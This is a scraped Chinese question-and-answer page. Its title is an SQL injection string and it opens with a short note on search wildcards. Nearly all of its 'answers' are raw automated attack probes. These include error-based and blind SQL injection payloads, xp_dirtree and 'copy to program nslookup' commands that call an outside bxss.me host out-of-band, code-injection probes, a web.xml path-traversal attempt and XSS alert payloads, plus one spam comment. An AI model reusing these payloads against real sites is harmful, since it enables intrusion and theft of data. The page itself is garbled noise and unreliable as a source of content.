?idth';deClAre@zvarChar(8000)seT@z=0x696E7365_意思

模糊查询支持使用统配符,星号*表示多个字符,问号?表示单个字符.例如:帽?可以查到帽边

?idth';deClAre@zvarChar(8000)seT@z=0x696E7365

提问者：211.149.192.163提问时间：2015/11/28 23:27:28

回答共29条

回答者：172.246.226.*回答时间：2015/12/21 20:52:36

This was so helpful and easy! Do you have any arteclis on rehab?

回答者：182.118.33.*回答时间：2016/5/21 14:35:56

88888) AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #

回答者：182.118.33.*回答时间：2016/5/21 14:36:38

88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (1222=1222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) %23

回答者：182.118.33.*回答时间：2016/5/21 14:38:06

(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (1122=1122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL)

回答者：182.118.33.*回答时间：2016/5/21 14:39:07

88888

回答者：173.239.232.*回答时间：2017/8/14 6:45:03

回答者：111.68.2.*回答时间：2018/4/3 12:23:15

回答者：111.68.2.*回答时间：2018/4/3 12:23:44

-1 OR 3+830-830-1=0+0+0+1 --

回答者：111.68.2.*回答时间：2018/4/3 12:24:06

-1' OR 2+362-362-1=0+0+0+1 --

回答者：198.44.185.*回答时间：2018/9/16 1:56:41

回答者：198.44.185.*回答时间：2018/9/16 1:57:01

回答者：198.44.185.*回答时间：2018/9/16 1:57:21

1';EXEC master..xp_dirtree '\\dns.sqli.029905.3792-7546.3792.0cead.1.bxss.me\' --

回答者：198.44.185.*回答时间：2018/9/16 1:57:48

1;copy (select '') to program 'nslookup dns.sqli.\029905.3792-7571.3792.0cead.\1.bxss.me'

回答者：198.44.185.*回答时间：2018/9/16 1:58:09

1';copy (select '') to program 'nslookup dns.sqli.\029905.3792-7588.3792.0cead.\1.bxss.me

回答者：122.112.226.*回答时间：2018/11/13 2:14:01

response.write(9071940*9220350)

回答者：122.112.226.*回答时间：2018/11/13 2:14:24

回答者：122.112.226.*回答时间：2018/11/13 2:14:51

1&n907948=v960718

回答者：120.77.159.*回答时间：2018/11/20 7:27:41

回答者：59.56.149.*回答时间：2018/12/10 11:17:16

response.write(9572281*9959286)

回答者：59.56.149.*回答时间：2018/12/10 11:17:36

回答者：59.56.149.*回答时间：2018/12/10 11:17:56

WEB-INF/web.xml

回答者：101.227.1.*回答时间：2019/1/9 7:18:32

88888,(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

回答者：101.227.1.*回答时间：2019/1/9 7:19:04

88888' OR 1=(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) OR 'zl'='lz

回答者：101.227.1.*回答时间：2019/1/9 7:20:31

88888,(SELECT (CASE WHEN (18=18) THEN 88888 ELSE 1/(SELECT 0) END))

回答者：101.227.1.*回答时间：2019/1/9 7:21:30

88888%' RLIKE (SELECT (CASE WHEN (61=28) THEN 88888 ELSE 0x28 END)) AND '%'='

回答者：101.227.1.*回答时间：2019/1/9 7:21:52

88888' AND 'v0z' LIKE 'MEn

回答者：101.227.1.*回答时间：2019/1/9 7:23:34

88888" onmousemove=alert(42873) wb="

回答者：101.227.1.*回答时间：2019/1/9 7:28:27

88888alert(42873)